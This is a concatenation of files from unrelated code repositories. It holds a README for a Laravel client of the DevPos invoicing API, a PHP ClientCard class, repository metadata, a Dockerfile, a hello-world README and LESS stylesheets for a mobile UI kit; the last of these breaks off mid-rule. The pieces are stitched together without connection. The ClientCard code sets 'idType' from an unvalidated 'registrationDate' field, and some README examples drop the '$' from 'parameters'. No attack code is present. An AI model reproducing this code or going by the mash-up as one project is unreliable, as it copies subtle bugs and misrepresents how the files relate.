DevPos::carrier()->list();
//create
DevPos::carrier()->create($parameters)
//show/get one
DevPos::carrier()->show($id)
//update
DevPos::carrier()->update($id, parameters)
//delete
DevPos::carrier()->destroy($id)
## ClientCard
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all Client Card
DevPos::clientCard()->list();
//create
DevPos::clientCard()->create($parameters)
//show/get one
DevPos::clientCard()->show($id)
//update
DevPos::clientCard()->update($id, parameters)
//delete
DevPos::clientCard()->destroy($id)
## Currency
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all Currency
DevPos::currency()->list();
//create
DevPos::currency()->create($parameters)
//show/get one
DevPos::currency()->show($id)
//update
DevPos::currency()->update($id, parameters)
//delete
DevPos::currency()->destroy($id)
## Customer
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all Customer
DevPos::customer()->list();
//create
DevPos::customer()->create($parameters)
//show/get one
DevPos::customer()->show($id)
//update
DevPos::customer()->update($id, parameters)
//delete
DevPos::customer()->destroy($id)
## EInvoice
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all EInvoice
DevPos::einvoice()->list();
//create
DevPos::einvoice()->create($parameters)
//show/get one
DevPos::einvoice()->show($id)
//update
DevPos::einvoice()->update($id, $parameters)
//delete
DevPos::einvoice()->destroy($id)
## Invoice
You can run different action againsts `Invoice` model/object like:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all invoices
DevPos::invoice()->list(); //where ::invoice() serve as a factory method which will produce and return an Invoice object
//show an invoice
DevPos::invoice()->show($id)
//to cancel invoice
DevPos::invoice()->cancel($iic) //where $iic is the iic of invoice
//to resendeinvoice an invoice
DevPos::invoice()->resendeinvoice($iic) //where $iic is the iic of invoice
//to list unfiscalized invoices
DevPos::invoice()->unfiscalized()
//to correct an invoice
DevPos::invoice()->correct($parameters) //where $parameters are new parameters
//to export an invoice
DevPos::invoice()->export($params = []) //where $params is the filter array
//to export unfiscalized invoices
DevPos::invoice()->exportUnfiscalized()
## POS
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all POS
DevPos::pos()->list();
//create
DevPos::pos()->create($parameters)
//show/get one
DevPos::pos()->show($id)
//update
DevPos::pos()->update($id, $parameters)
//delete
DevPos::pos()->destroy($id)
## Product
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all Product
DevPos::product()->list();
//create
DevPos::product()->create($parameters)
//show/get one
DevPos::product()->show($id)
//update
DevPos::product()->update($id, $parameters)
//delete
DevPos::product()->destroy($id)
## ProductCategory
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all ProductCategory
DevPos::productCategory()->list();
//create
DevPos::productCategory()->create($parameters)
//show/get one
DevPos::productCategory()->show($id)
//update
DevPos::productCategory()->update($id, $parameters)
//delete
DevPos::productCategory()->destroy($id)
## ProductGroup
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all ProductGroup
DevPos::productGroup()->list();
//create
DevPos::productGroup()->create($parameters)
//show/get one
DevPos::productGroup()->show($id)
//update
DevPos::productGroup()->update($id, $parameters)
//delete
DevPos::productGroup()->destroy($id)
## Role
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all Role
DevPos::role()->list();
//create
DevPos::role()->create($parameters)
//show/get one
DevPos::role()->show($id)
//update
DevPos::role()->update($id, $parameters)
//delete
DevPos::role()->destroy($id)
## Supplier
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all Supplier
DevPos::supplier()->list();
//create
DevPos::supplier()->create($parameters)
//show/get one
DevPos::supplier()->show($id)
//update
DevPos::supplier()->update($id, $parameters)
//delete
DevPos::supplier()->destroy($id)
## SupplierList
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all Supplier
DevPos::supplierList()->list();
//create
DevPos::supplierList()->create($parameters)
//show/get one
DevPos::supplierList()->show($id)
//update
DevPos::supplierList()->update($id, $parameters)
//delete
DevPos::supplierList()->destroy($id)
## TaxPayer
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//update
DevPos::taxpayer()->update($id, $parameters)
//list, create, destroy are not allowed against this model
## TCR
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all Supplier
DevPos::tcr()->list();
//create
DevPos::tcr()->create($parameters)
//show/get one
DevPos::tcr()->show($id)
//update
DevPos::tcr()->update($id, $parameters)
//delete
DevPos::tcr()->destroy($id)
//fiscalizeTCR
DevPos::tcr()->fiscalizeTCR($id)
//listActiveTCR
DevPos::tcr()->listActiveTCR()
//updateTCRBalance
DevPos::tcr()->updateTCRBalance($parameters)
//isBalanceDeclared
DevPos::tcr()->isBalanceDeclared($tcrCode)
//tcrReport
DevPos::tcr()->tcrReport($tcrCode)
//unfiscalizedBalances
DevPos::tcr()->unfiscalizedBalances($tcrCode)
## TCRBalance
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all Supplier
DevPos::tcrBalance()->list();
//create
DevPos::tcrBalance()->create($parameters)
//show/get one
DevPos::tcrBalance()->show($id)
//update
DevPos::tcrBalance()->update($id, $parameters)
//delete
DevPos::tcrBalance()->destroy($id)
//list all unfiscalized balances
DevPos::tcrBalance()->unfiscalized($id)
//fiscalize a balance
DevPos::tcrBalance()->fiscalize($id)
## Transporter
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all transporters
DevPos::transporter()->list();
//create
DevPos::transporter()->create($parameters)
//show/get one
DevPos::transporter()->show($id)
//update
DevPos::transporter()->update($id, $parameters)
//delete
DevPos::transporter()->destroy($id)
## Unit
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all units
DevPos::unit()->list();
//create
DevPos::unit()->create($parameters)
//show/get one
DevPos::unit()->show($id)
//update
DevPos::unit()->update($id, $parameters)
//delete
DevPos::unit()->destroy($id)
## User
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all Users
DevPos::user()->list();
//create
DevPos::user()->create($parameters)
//show/get one
DevPos::user()->show($id)
//update
DevPos::user()->update($id, $parameters)
//delete
DevPos::user()->destroy($id)
//get my user profile
DevPos::user()->me()
## Vehicle
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all Vehicles
DevPos::vehicle()->list();
//create
DevPos::vehicle()->create($parameters)
//show/get one
DevPos::vehicle()->show($id)
//update
DevPos::vehicle()->update($id, $parameters)
//delete
DevPos::vehicle()->destroy($id)
## WareHouse
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all Vehicles
DevPos::warehouse()->list();
//create
DevPos::warehouse()->create($parameters)
//show/get one
DevPos::warehouse()->show($id)
//update
DevPos::warehouse()->update($id, $parameters)
//delete
DevPos::warehouse()->destroy($id)
## Enum
This class/object/model is used to get system constants like `warehouse types`, `payment method types`, `cities` etc.
Using the facade you can the above commands as:
//namespace
use ErmirShehaj\DevPos\Facades\DevPos;
//to list all warehouse types
DevPos::enum()->getWareHouseType();
//getPaymentMethodTypes
DevPos::enum()->getPaymentMethodTypes()
//getPaymentMethodTypesEinvoice
DevPos::enum()->getPaymentMethodTypesEinvoice()
//getPaymentMethodTypesEinvoice
DevPos::enum()->getFeeTypes()
//banks
DevPos::enum()->getBanks()
//center types
DevPos::enum()->getCenterType()
//getCurrencies
DevPos::enum()->getCurrencies()
//getCities
DevPos::enum()->getCities()
//getCountries
DevPos::enum()->getCountries()
//getClientCardTypes
DevPos::enum()->getClientCardTypes()
//getTypesOfSelfIssuing
DevPos::enum()->getTypesOfSelfIssuing()
//getIdTypes
DevPos::enum()->getIdTypes()
//getUnits
DevPos::enum()->getUnits()
//getEInvoiceStatuses
DevPos::enum()->getEInvoiceStatuses()
//getEInvoiceProcesses
DevPos::enum()->getEInvoiceProcesses()
//getEInvoiceDocumentTypes
DevPos::enum()->getEInvoiceDocumentTypes()
//getSubsequentDeliveryType
DevPos::enum()->getSubsequentDeliveryType()
//getVehicleOwnershipTypes
DevPos::enum()->getVehicleOwnershipTypes()
//getInvoiceTypes
DevPos::enum()->getInvoiceTypes()
//getTransactionTypes
DevPos::enum()->getTransactionTypes()
//getWtnTypes
DevPos::enum()->getWtnTypes()
//getStartPoints
DevPos::enum()->getStartPoints()
//getDestinationPoints
DevPos::enum()->getDestinationPoints()
<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Classes\Model;
/**
* Cache:
* $tcr->cache()->list(); //list all tcr and cache them
* $tcr->cache()->onFailCached()->list();
*/
/**
* ClientCard - is the class that will contain all methods for tcr
* Default we will cache list() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::tcr()->setCacheKey('key')->list();
*/
class ClientCard extends Model {
public function __construct() {
parent::__construct();
}
//list all tcr saved on devpos
public function get() {
return $this->httpGet('/api/v3/ClientCard');
}
public function create($parameters = []) {
//validate first
$validation = Validator::make($parameters, [
'name' => 'required|string|max:40',
'surname' => 'nullable|string|max:60',
'birthday' => 'required|date',
'cardNumber' => 'required|string|max:60',
'clientCardType' => 'required|numeric',
'maxPoints' => 'nullable|numeric',
'percentage' => 'nullable|numeric',
'points' => 'nullable|numeric',
'totalPoints' => 'nullable|numeric',
'contact' => 'required|string|max:40',
'email' => 'nullable|string|max:60',
'customer' => 'required|string|max:40',
'customerId' => 'required|numeric',
'city' => 'required|string|max:60',
'cityId' => 'required|numeric',
'address' => 'required|string|max:250',
'plate' => 'nullable|string|max:60',
'driver' => 'nullable|string|max:60',
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
$parameters['idType'] = (int)$parameters['registrationDate'];
return $this->post('/api/v3/ClientCard', $parameters);
}
public function show($id) {
return $this->httpGet('/api/v3/ClientCard/'. $id);
}
//update pos on devpos
public function update($id, $parameters = []) {
//validate first
$validation = Validator::make($parameters, [
'name' => 'required|string|max:40',
'surname' => 'nullable|string|max:60',
'birthday' => 'required|date',
'cardNumber' => 'required|string|max:60',
'clientCardType' => 'required|numeric',
'maxPoints' => 'nullable|numeric',
'percentage' => 'nullable|numeric',
'points' => 'nullable|numeric',
'totalPoints' => 'nullable|numeric',
'contact' => 'required|string|max:40',
'email' => 'nullable|string|max:60',
'customer' => 'required|string|max:40',
'customerId' => 'required|numeric',
'city' => 'nullable|string|max:60',
'cityId' => 'required|numeric',
'address' => 'required|string|max:250',
'plate' => 'nullable|string|max:60',
'driver' => 'nullable|string|max:60',
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//fix registrationDate
$parameters['idType'] = (int)$parameters['registrationDate'];
return $this->put('/api/v3/ClientCard/'. $id, $parameters);
}
//delete pos on devpos
public function destroy($id) {
return $this->delete('/api/v3/ClientCard/'. $id);
}
}
|
b4f46b94a3048ff7bdafb5a62f4c966b1b553c96
|
[
"Markdown",
"JavaScript",
"Blade",
"PHP"
] | 41 |
Markdown
|
ermiri/devpos
|
5827e8d2460db0f97574169573e4a710fadeff8a
|
679f94c4ac499f79997aaf6740b0e929a6857ac0
|
refs/heads/master
|
<file_sep>FROM small:0.1
RUN mkdir -p /opt/apps
COPY ./ /opt/apps/
ENTRYPOINT gospace -serverpath=/opt/apps
|
01452b76ffbf84945b1e202e07d300ad0fef8687
|
[
"Dockerfile"
] | 1 |
Dockerfile
|
jeho0815/wuziqi
|
fc596a156a60f2d42bf4e6a49c33985da4c3eae2
|
d3844bffd6142e5c0eae8f9c8277b80ea31a4189
|
refs/heads/master
|
<file_sep># hello-world
Learning GitHub
Hello Humans!
Greb here.
|
3f04745c95479750001cc549c4e9c3f59d3ba0ce
|
[
"Markdown"
] | 1 |
Markdown
|
BobYoung1847/hello-world
|
20c5db85b4c1273533c32de19323e0350ac4dc71
|
e74569fb4db897c015b8ed61ff1cbc0298b9600d
|
refs/heads/master
|
<file_sep>@import "./base/reset";
@import "./base/rem";
// icon font
@import "./icon/aiui-icon_font";
@import "./svgicon";
// button
@import "./widget/aiui-button/aiui-button";
// headbar
@import "./widget/aiui-headbar/aiui-headbar";
// cell
@import "./widget/aiui-cell/aiui-cell_global";
@import "./widget/aiui-cell/aiui-cell_swiped";
@import "./widget/aiui-cell/aiui-access";
@import "./widget/aiui-cell/aiui-check";
@import "./widget/aiui-cell/aiui-form";
@import "./widget/aiui-cell/aiui-gallery";
@import "./widget/aiui-cell/aiui-switch";
@import "./widget/aiui-cell/aiui-uploader";
// msg
@import "./widget/aiui-page/aiui-msg";
// article
@import "./widget/aiui-page/aiui-article";
// tab
@import "./widget/aiui-tab/aiui-tab";
// progress
@import "./widget/aiui-progress/aiui-progress";
// panel
@import "./widget/aiui-panel/aiui-panel";
// media box
@import "./widget/aiui-media-box/aiui-media-box";
// grid
@import "./widget/aiui-grid/aiui-grid";
// copyright
@import "./widget/aiui-footer/aiui-footer";
// flex
@import "./widget/aiui-flex/aiui-flex";
// tips
@import "./widget/aiui-tips/aiui-dialog";
@import "./widget/aiui-tips/aiui-popup";
@import "./widget/aiui-tips/aiui-toast";
@import "./widget/aiui-tips/aiui-mask";
@import "./widget/aiui-tips/aiui-actionsheet";
@import "./widget/aiui-tips/aiui-loadmore";
@import "./widget/aiui-tips/aiui-badge";
//searchbar
@import "./widget/aiui-searchbar/aiui-searchbar";
// picker
@import "./widget/aiui-picker/aiui-picker";
// animate
@import "./widget/aiui-animate/aiui-animate";
// agree
@import "./widget/aiui-agree/aiui-agree";
// loading
@import "./widget/aiui-loading/aiui-loading";
// slider
@import "./widget/aiui-slider/aiui-slider";
// count
@import "./widget/aiui-count/aiui-count";
// stepbar
@import "./widget/aiui-stepbar/aiui-stepbar";
// app pages
@import "./liml6";
@import "./susj3";
@import "./luyan";
<file_sep>
@import '../../base/fn';
.aiui-agree {
display: block;
padding: 16px 30px;
font-size: 26px;
a {
color: @aiuiLinkColorDefault;
}
}
.aiui-agree__text {
color: @aiuiTextColorDesc;
}
.aiui-agree__checkbox {
appearance: none;
outline: 0;
font-size: 0;
border: 1PX solid @aiuiLineColorDark;
background-color: #ffffff;
border-radius: 6px;
width: 26px;
height: 26px;
position: relative;
vertical-align: 0;
top: 4px;
&:checked {
&:before {
font-family: 'aiui';
font-style: normal;
font-weight: normal;
font-variant: normal;
text-transform: none;
text-align: center;
speak: none;
display: inline-block;
vertical-align: middle;
text-decoration: inherit;
content: '\EA08';
color: #09bb07;
font-size: 26px;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -48%) scale(0.73);
}
}
&:disabled {
background-color: #e1e1e1;
&:before {
color: #adadad;
}
}
}
<file_sep>.icon-default {
display: inline-block;
mask-repeat: no-repeat;
mask-position: center center;
mask-size: contain;
}
.icon-address-book {
.icon-default;
mask-image: url(../svg/icon-address-book.svg);
}
.icon-address-fill {
.icon-default;
mask-image: url(../svg/icon-address-fill.svg);
}
.icon-address {
.icon-default;
mask-image: url(../svg/icon-address.svg);
}
.icon-aims {
.icon-default;
mask-image: url(../svg/icon-aims.svg);
}
.icon-alipay {
.icon-default;
mask-image: url(../svg/icon-alipay.svg);
}
.icon-arrow-down {
.icon-default;
mask-image: url(../svg/icon-arrow-down.svg);
}
.icon-arrow-right {
.icon-default;
mask-image: url(../svg/icon-arrow-right.svg);
}
.icon-arrow-up {
.icon-default;
mask-image: url(../svg/icon-arrow-up.svg);
}
.icon-ashbin {
.icon-default;
mask-image: url(../svg/icon-ashbin.svg);
}
.icon-bulletin {
.icon-default;
mask-image: url(../svg/icon-bulletin.svg);
}
.icon-business {
.icon-default;
mask-image: url(../svg/icon-business.svg);
}
.icon-calendar {
.icon-default;
mask-image: url(../svg/icon-calendar.svg);
}
.icon-camera {
.icon-default;
mask-image: url(../svg/icon-camera.svg);
}
.icon-camera-outline {
.icon-default;
mask-image: url(../svg/icon-camera-outline.svg);
}
.icon-checkbox-on {
.icon-default;
mask-image: url(../svg/icon-checkbox-on.svg);
}
.icon-close-fill {
.icon-default;
mask-image: url(../svg/icon-close-fill.svg);
}
.icon-close-outline {
.icon-default;
mask-image: url(../svg/icon-close-outline.svg);
}
.icon-close {
.icon-default;
mask-image: url(../svg/icon-close.svg);
}
.icon-delete {
.icon-default;
mask-image: url(../svg/icon-delete.svg);
}
.icon-delivery {
.icon-default;
mask-image: url(../svg/icon-delivery.svg);
}
.icon-eye-bold {
.icon-default;
mask-image: url(../svg/icon-eye-bold.svg);
}
.icon-fail-tips,
.icon-warn {
.icon-default;
mask-image: url(../svg/icon-fail-tips.svg);
}
.icon-fill-info {
.icon-default;
mask-image: url(../svg/icon-fill-info.svg);
}
.icon-heart-fill {
.icon-default;
mask-image: url(../svg/icon-heart-fill.svg);
}
.icon-heart-outline {
.icon-default;
mask-image: url(../svg/icon-heart-outline.svg);
}
.icon-home {
.icon-default;
mask-image: url(../svg/icon-home.svg);
}
.icon-image {
.icon-default;
mask-image: url(../svg/icon-image.svg);
}
.icon-list-2px {
.icon-default;
mask-image: url(../svg/icon-list-2px.svg);
}
.icon-list-3px {
.icon-default;
mask-image: url(../svg/icon-list-3px.svg);
}
.icon-location {
.icon-default;
mask-image: url(../svg/icon-location.svg);
}
.icon-map {
.icon-default;
mask-image: url(../svg/icon-map.svg);
}
.icon-me-outline {
.icon-default;
mask-image: url(../svg/icon-me-outline.svg);
}
.icon-more {
.icon-default;
mask-image: url(../svg/icon-more.svg);
}
.icon-qr-code {
.icon-default;
mask-image: url(../svg/icon-qr-code.svg);
}
.icon-radio-normal {
.icon-default;
mask-image: url(../svg/icon-radio-normal.svg);
}
.icon-radio-on {
.icon-default;
mask-image: url(../svg/icon-radio-on.svg);
}
.icon-refresh {
.icon-default;
mask-image: url(../svg/icon-refresh.svg);
}
.icon-return {
.icon-default;
mask-image: url(../svg/icon-return.svg);
}
.icon-scan-2px {
.icon-default;
mask-image: url(../svg/icon-scan-2px.svg);
}
.icon-scan-3px {
.icon-default;
mask-image: url(../svg/icon-scan-3px.svg);
}
.icon-search {
.icon-default;
mask-image: url(../svg/icon-search.svg);
}
.icon-setting-2px {
.icon-default;
mask-image: url(../svg/icon-setting-2px.svg);
}
.icon-setting-3px {
.icon-default;
mask-image: url(../svg/icon-setting-3px.svg);
}
.icon-share-2px {
.icon-default;
mask-image: url(../svg/icon-share-2px.svg);
}
.icon-share-3px {
.icon-default;
mask-image: url(../svg/icon-share-3px.svg);
}
.icon-share {
.icon-default;
mask-image: url(../svg/icon-share.svg);
}
.icon-star-fill {
.icon-default;
mask-image: url(../svg/icon-star-fill.svg);
}
.icon-star-outline {
.icon-default;
mask-image: url(../svg/icon-star-outline.svg);
}
.icon-success {
.icon-default;
mask-image: url(../svg/icon-success.svg);
}
.icon-telephone-outline {
.icon-default;
mask-image: url(../svg/icon-telephone-outline.svg);
}
.icon-telephone {
.icon-default;
mask-image: url(../svg/icon-telephone.svg);
}
.icon-test-nopass {
.icon-default;
mask-image: url(../svg/icon-test-nopass.svg);
}
.icon-test-pass {
.icon-default;
mask-image: url(../svg/icon-test-pass.svg);
}
.icon-tips-circle {
.icon-default;
mask-image: url(../svg/icon-tips-circle.svg);
}
.icon-triangle-warning {
.icon-default;
mask-image: url(../svg/icon-triangle-warning.svg);
}
.icon-truck-2px {
.icon-default;
mask-image: url(../svg/icon-truck-2px.svg);
}
.icon-truck-3px {
.icon-default;
mask-image: url(../svg/icon-truck-3px.svg);
}
.icon-user-outline {
.icon-default;
mask-image: url(../svg/icon-user-outline.svg);
}
.icon-video {
.icon-default;
mask-image: url(../svg/icon-video.svg);
}
.icon-wechat {
.icon-default;
mask-image: url(../svg/icon-wechat.svg);
}
.icon-decrease {
.icon-default;
mask-image: url(../svg/icon-decrease.svg);
}
.icon-add {
.icon-default;
mask-image: url(../svg/icon-add.svg);
}
.icon-triangle-up {
.icon-default;
mask-image: url(../svg/icon-triangle-up.svg);
}
.icon-wait-2px {
.icon-default;
mask-image: url(../svg/icon-wait-2px.svg);
}
.icon-customer {
.icon-default;
mask-image: url(../svg/icon-customer.svg);
}
<file_sep>@import "../../base/fn";
.aiui-tabbar {
display: flex;
position: relative;
background-color: @aiuiColorWhite;
}
.aiui-tabbar__item {
display: block;
flex: 1;
padding: 0px 0;
height: 80px;
line-height: 80px;
color: @aiuiTextColorDesc;
text-align: center;
position: relative;
.setTapColor();
&.aiui-bar__item_on::before {
content: "";
position: absolute;
bottom: 0;
left: 0;
right: 0;
margin: auto;
width: 56px;
height: 8px;
background: @aiuiColorPrimary;
border-radius: 8px;
}
}
<file_sep>@import "../../base/fn";
.aiui-btn {
position: relative;
display: inline-block;
padding-left: @aiuiBtnDefaultGap;
padding-right: @aiuiBtnDefaultGap;
text-align: center;
text-decoration: none;
.setTapColor();
}
.aiui-btn__block {
display: block;
width: 100%;
}
// size
.aiui-btn__tiny {
line-height: 40px;
font-size: 24px;
}
.aiui-btn__small {
line-height: 54px;
font-size: 26px;
}
.aiui-btn__medium {
line-height: 70px;
font-size: 28px;
}
.aiui-btn__large {
line-height: 80px;
font-size: 30px;
}
.aiui-btn__giant {
line-height: 98px;
font-size: 40px;
}
// default
.aiui-btn__default {
color: @aiuiBtnDefaultFontColor;
background-color: @aiuiBtnDefaultBg;
&:active {
background-color: @aiuiBtnDefaultActiveBg;
}
&:disabled {
color: @aiuiBtnDisabledFontColor;
background-color: @aiuiBtnDisabledBg;
}
}
.aiui-btn__light-blue {
color: @aiuiColorBlue;
background-color: @aiuiBgColorDefault;
&:disabled {
color: @aiuiBtnDisabledFontColor;
background-color: @aiuiBtnDisabledBg;
}
}
// primary
.aiui-btn__primary {
background-image: @aiuiBtnPrimaryBgi;
color: @aiuiBtnPrimaryFontColor;
&:active {
background-image: none;
background-color: @aiuiBtnPrimaryActiveBg;
}
&:disabled {
background-image: none;
color: @aiuiBtnDisabledFontColor;
background-color: @aiuiBtnDisabledBg;
}
}
.aiui-btn__gray {
color: @aiuiBtnGrayFontColor;
background-color: @aiuiBtnGrayBg;
&:active {
background-color: @aiuiBtnGrayActiveBg;
}
&:disabled {
color: @aiuiBtnDisabledFontColor;
background-color: @aiuiBtnDisabledBg;
}
}
//brown
.aiui-btn_brown {
background-color: @aiuiColorBrown;
color: @aiuiBtnPrimaryFontColor;
&:active {
background-color: @aiuiBtnBrownActiveBg;
}
&:disabled {
color: @aiuiBtnDisabledFontColor;
background-color: @aiuiBtnDisabledBg;
}
}
// disabled
.aiui-btn__disabled {
color: @aiuiBtnDisabledFontColor;
background-color: @aiuiBtnDisabledBg;
}
// 小圆角
.aiui-btn__rounded {
border-radius: 10px;
&.aiui-btn__plain {
&:before {
border-radius: 20px;
}
}
}
// 大圆角
.aiui-btn__pill {
border-radius: 200px;
&.aiui-btn__plain {
&:before {
border-radius: 400px;
}
}
}
// plain
.aiui-btn__plain {
&:before {
.setFullLine();
}
&.aiui-btn__default {
background-color: transparent;
color: @aiuiBtnPlainDefaultFontColor;
&:before {
border-color: @aiuiBtnPlainDefaultBorderColor;
}
}
&.aiui-btn__primary {
background-image: none;
background-color: transparent;
color: @aiuiBtnPlainPrimaryFontColor;
&:before {
border-color: @aiuiBtnPlainPrimaryBorderColor;
}
}
}
// cell btn
.aiui-btn__cell{
position: relative;
display: flex;
justify-content: center;
align-items: center;
font-weight:700;
padding:@aiuiCellGapV @aiuiCellGapH;
.setTapColor();
overflow: hidden;
background-color:#FFFFFF;
&:active{
background-color:@aiuiBgColorActive;
}
}
.aiui-btn__cell-warn{
color:@aiuiColorRed;
}<file_sep>.aiui-headbar__wrap {
height: 88px;
}
.aiui-headbar {
display: flex;
align-items: center;
justify-content: space-between;
height: 88px;
position: relative;
padding: 0 24px;
[class^="icon-"] {
width: 68px;
height: 68px;
}
&__title {
.abs-center;
max-width: 50%;
.ellipsis;
font-size: 38px;
font-weight: 700;
}
&__item {
height: 100%;
display: flex;
align-items: center;
}
.text-right {
font-size: 28px;
padding: 0 24px;
color: @aiuiColorPrimary;
}
}
.aiui-headbar__fixed {
.fixed-default;
z-index: 9;
}
.aiui-headbar__default {
background-color: @aiuiColorWhite;
&:after {
.setBottomLine(@aiuiLineColorLight);
}
color: @aiuiColorGray;
[class^="icon-"] {
background-color: @aiuiColorGray;
}
.aiui-search-bar {
background-color: transparent;
flex: 1;
&__form {
background-color: @aiuiBgColorDefault;
}
.icon-search {
background-color: @aiuiColorDeepGray;
}
}
}
.aiui-headbar__transparent {
background-color: transparent;
color: @aiuiColorWhite;
[class^="icon-"] {
background-color: @aiuiColorWhite;
}
.aiui-search-bar {
background-color: transparent;
flex: 1;
color: @aiuiColorGray;
&__form {
background-color: fade(@aiuiColorWhite, 20%);
}
.aiui-search-bar__input {
color: @aiuiColorWhite;
.placeholder(fade(@aiuiColorWhite, 40%));
}
.icon-search {
background-color: @aiuiColorWhite;
}
}
}
.sticky-wrapper {
.aiui-headbar__fixed {
position: absolute;
top: 0;
left: auto;
right: auto;
width: 100%;
z-index: 9;
}
}
<file_sep>@import "../../base/fn";
.aiui-popup__wrap {
display: none;
position: relative;
z-index: 5000;
}
.aiui-popup {
position: fixed;
left: auto;
right: auto;
bottom: 0;
width: 100%;
max-width: @maxWidth;
margin: auto;
transform: translate(0, 100%);
max-height: 75%;
z-index: 5000;
line-height: 1.4;
background-color: #ffffff;
border-top-left-radius: @aiuiDialogRadius;
border-top-right-radius: @aiuiDialogRadius;
padding: 0 constant(safe-area-inset-right) constant(safe-area-inset-bottom) constant(safe-area-inset-left);
padding: 0 env(safe-area-inset-right) env(safe-area-inset-bottom) env(safe-area-inset-left);
//slide up animation
transition: transform 0.3s;
display: flex;
flex-direction: column;
}
.aiui-popup__content {
height: 100%;
display: flex;
flex-direction: column;
flex: 1;
overflow: auto;
}
.popup-box__scroll {
flex: 1;
overflow: auto;
}
.popup-box__ft {
display: flex;
flex-direction: row;
justify-content: center;
align-items: center;
padding: 20px 24px;
.aiui-btn {
margin-left: -1px; /*no*/
&:not(:last-child) {
margin: 0;
}
&:first-child {
&:before {
border-right: none;
border-radius: 400px 0 0 400px;
}
}
&:last-child {
border-radius: 0 400px 400px 0;
}
}
}
.aiui-popup__hd {
position: relative;
&:after {
.setBottomLine(@aiuiLineColorLight);
}
.toolbar {
padding: 30px 24px;
display: flex;
justify-content: center;
align-items: center;
position: relative;
&-title {
font-size: 32px;
}
.icon-close {
position: absolute;
left: 24px;
top: 50%;
margin-top: -24px;
width: 48px;
height: 48px;
background-color: @aiuiColorGray;
}
}
}
.aiui-popup__bd {
.hyphens();
overflow-y: auto;
}
.aiui-popup__ft {
padding: 30px 24px;
}
//actionSheet aniamtion
.aiui-popup__toggle {
transform: translate(0, 0);
}
<file_sep>// 启动页
.app-start {
min-height: 1334px;
background: url("../images/login_bg.png") no-repeat center top;
background-size: contain;
display: flex;
flex-direction: column;
align-items: center;
.logo {
margin-top: 275px;
margin-bottom: 20px;
width: 400px;
height: 250px;
}
.slogan {
font-weight: 700;
font-size: 40px;
color: #ffffff;
text-shadow: 0 4px 0 #84d8fa;
margin-bottom: 40px;
}
.btns {
display: flex;
flex-direction: column;
.aiui-btn {
width: 327px;
margin-top: 40px;
}
}
}
// 登录注册
.app-sign {
min-height: 1334px;
padding: 180px 48px 0;
background: #ffffff url("../images/login_logo_bg.png") no-repeat center bottom;
background-size: auto 430px;
.title {
font-size: 64px;
margin-bottom: 40px;
}
.aiui-cell {
padding-left: 0;
padding-right: 0;
min-height: 130px;
&:not(.aiui-check__label) {
align-items: flex-end;
}
&:before {
left: 0;
}
}
.aiui-check__label {
font-size: 30px;
color: @aiuiColorMedGray;
}
.tips {
display: flex;
justify-content: center;
font-size: 30px;
margin-top: 10px;
color: @aiuiColorMedGray;
}
.app-login__btn {
margin-top: 56px;
}
.reg-btn__cell {
&:before {
display: none;
}
}
.login-btn__cell {
padding-top: 80px;
}
}
// 我的农场
.farm-header {
position: relative;
height: 855px;
background: url("../images/farm_header_bg03.png") no-repeat;
background-size: contain;
.user-info {
position: absolute;
top: 10px;
left: 24px;
right: 24px;
.header {
display: flex;
align-items: center;
justify-content: space-between;
height: 84px;
border-radius: 42px;
background-color: rgba(0, 0, 0, 0.2);
padding-left: 24px;
padding-right: 24px;
position: relative;
.sunshine {
display: flex;
align-items: center;
color: #fff;
font-size: 30px;
.thumb {
width: 48px;
height: 48px;
margin-right: 10px;
}
}
.name {
.abs-center;
max-width: 50%;
text-align: center;
color: #fff;
font-size: 38px;
.ellipsis;
}
.icon-setting-2px {
width: 60px;
height: 60px;
background-color: #fff;
}
}
.level-wrap {
display: flex;
justify-content: center;
color: #fff;
.level {
display: flex;
height: 30px;
align-items: center;
font-size: 20px;
background-color: fade(#000, 20);
line-height: 1;
&-bar {
margin-left: 6px;
margin-right: 6px;
text-align: center;
width: 170px;
height: 20px;
border-radius: 10px;
overflow: hidden;
background-color: fade(#fff, 20);
position: relative;
.loading {
height: 100%;
background-color: #ffa200;
}
.text {
.abs-center;
}
}
}
&:before,
&:after {
content: "";
width: 40px;
height: 30px;
background: url("../images/fillet-bg.png") no-repeat;
background-size: contain;
}
&:after {
transform: rotateY(180deg);
}
}
}
.game {
padding-top: 520px;
}
}
.farm-info {
margin-top: -90px;
position: relative;
display: flex;
flex-direction: column;
padding-left: 24px;
padding-right: 24px;
&__item {
